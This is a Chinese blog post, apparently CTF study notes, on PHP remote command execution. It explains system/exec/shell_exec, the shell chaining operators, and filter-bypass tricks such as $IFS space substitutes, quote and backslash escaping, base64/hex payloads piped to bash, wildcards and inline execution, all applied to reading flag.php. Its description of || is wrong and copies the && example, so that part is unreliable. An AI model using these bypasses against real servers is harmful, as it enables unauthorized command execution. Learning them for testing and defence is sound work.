首页 > 其他分享 >命令执行

命令执行

时间:2023-07-09 11:33:54浏览次数:29  
标签:php cat 命令 flag 执行 bash

RCE

远程代码执行漏洞

原理

编写代码时没有做严格的安全控制,导致攻击者通过接口或相关参数提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

可使用条件

1.需要有执行系统命令的函数

2.具有可控或者不安全参数

PHP调用函数

system()

作用:执行外部程序,并且显示输出

system函数

<?php 
$shell = "ping 127.0.0.1";
system("$shell");
?>

exec()

作用:执行一个外部程序,返回命令执行结果的最后一行内容

exec函数

<?php 
$shell = "ping 127.0.0.1";
echo exec("$shell");
?>

shell_exec()

作用: shell 执行命令并将完整的输出以字符串的方式返回

shell_exec函数

<?php 
$shell = "ping 127.0.0.1";
echo shell_exec("$shell");
?>

作用范围

在docker中一般权限为www-data,该权限一般可读不可写

其他权限看个人输出:wh oami

联合执行(Linux)

分号

先后执行三个命令,无论命令是否执行成功

command1;command2;command3

&&

前面的命令执行成功,后面的命令才会执行

command1 && command2

||

前面的命令执行 成功,后面的命令才会执行

command1 && command2

|

前一个执行成功后的结果作为后一个执行的参数

command1 | command2

绕过执行

过滤空格情况下

下面命令适合在 SHELL为bash 的情况下代替空格使用,查看当前使用SHELL:echo $0

$IFS

${IFS}

$IFS$9

<

<>

{cat,flag} //用逗号实现空格功能

过滤关键字

下面可以灵活转换(适用zsh、bash)

反斜线绕过

ca\t flag.php //用转义符绕过cat完整串的匹配

两个单引号绕过

ca''t flag.php //用''绕过cat完整串的匹配

base64编码绕过

echo "Y2F0ICdmbGFnLnBocCc=" | base64 -d | bash //将cat flag.php的base64编码进行解码,并该内容作为bash的命令执行

hex编码绕过

echo "63617420666c61672e706870" | xxd -r -p | bash //同理上,xxd -r -p命令是将hex解码

通配符匹配绕过

cat执行后将会打印出所有符合的文件信息

[]

cat fla[a-z].php //匹配[]内的所有字符

cat fl* //匹配多个字符

?

cat fl?g.php //匹配一个字符

内敛执行

可适用bash、zsh

``

cat `ls | grep fl` //先执行ls | grep fl 找到flag.php,然后执行cat flag.php

$()

cat $(ls| grep fl) //同理上

变量存储

可适用bash、zsh

a=.php;b=flag;cat $b$a; //cat flag.php

标签:php,cat,命令,flag,执行,bash
From: https://www.cnblogs.com/ntrack/p/17538470.html

相关文章

  • Docker容器 命令
     查看容器状态 正在运行的容器dockerps 查看所有容器dockerps-a 启动容器  1、直接运行,这种会铺满窗口,并且不能其它操作,按ctrl+c终止进程dockerruntomcat 2、后台运行  -p 后面两个8080,第一个8080为对外访问端口,第......
  • 命令模式和模板模式以及构造者模式在工程中的应用
     在开发springboot项目的开发过程中我们总会使用到mvc模式,在controller层写接口,service中写业务,dao层进行数据持久化。这种模式总会service的实现层写很多代码,这样会使得seviceimpl类中有很多业务代码,以及注入很多的bean,后期维护起来会相当麻烦。今天采用命令模式,模板模式来实现......
  • Linux命令行/终端连接(隐藏)SSID的WiFi
    推荐看完Linux命令行/终端连接隐藏SSID的WiFi(续篇)和本文后,再按照实际情况采用network-manager或者ifupdown多数Linux系统默认自带有线网络的驱动和配置软件,但是对于WiFi则可能会缺少固件和相关软件。在此使用Debian11为例(Ubuntu也可),使用nmcli连接隐藏SSID的WiFi网络。无线网卡......
  • 当根目录占用过高,该怎么去删除文件?- du 命令
    在使用基于linux搭建的系统或集群节点时,随着时间以及使用的增加,渐渐的我们的根目录的空间被一些“无用”文件给占用了,甚至因为根目录被占满,在linux上执行命令都会失败,那么这个时候系统已经比较危险了。基于我在工作中遇到的一些问题,简单说下解决方法:问题现象:/目录已占用了90%,对......
  • windows bat批处理执行ctl脚本导入多个文本到oracle
            ......
  • windows和linux应急响应命令 9
    windows1、系统账户排查netuser列出所有用户,进行可疑账号排查。 2、检查异常端口netstat-ano 3、检查可疑进程和服务tasklist 4、可疑启动项排查msconfig 5、查看登录日志eventvwr.msc 6、恶意样本排查  linux1、查看用户信息查看用户的账号文件信......
  • 工具 | pip常用命令
    相信对于大多数熟悉Python的人来说,一定都听说并且使用过pip这个工具,但是对它的了解可能还不一定是非常的透彻,今天就来为大家介绍pip的小技巧,相信对大家以后管理和使用Python当中的标准库会有帮助。安装当然在Python3.4版本之后以及Python2.7.9版本之后,官网的安装包当中就已经......
  • jmeter: ${__P(THreadCount,)} 。P函数实现命令行变量,改变并发数和执行时间
         /export/apache-jmeter-5.4.1/bin/jmeter.sh-JrunTime300-JTHreadCount10 -n-tpinter_get.jmx-lpinter_test.jtl  ......
  • mysql常用命令有哪些?
    mysql常用命令退出mysql: exit查看mysql中有哪些数据库?showdatabase; 以英文的分号结尾mysql>showdatabases;+--------------------+|Database|+--------------------+|dbtest1||dbtest2||dbtest3||information_sc......
  • wsl命令收集
    PSC:\Users\zhang>wslconfig/list适用于Linux的Windows子系统分发版:fedoraremix(默认)Ubuntu-20.04PSC:\Users\zhang>wslconfig/setdefaultUbuntu-20.04PSC:\Users\zhang>wslconfig/list适用于Linux的Windows子系统分发版:Ubuntu-20.04(默认)fedora......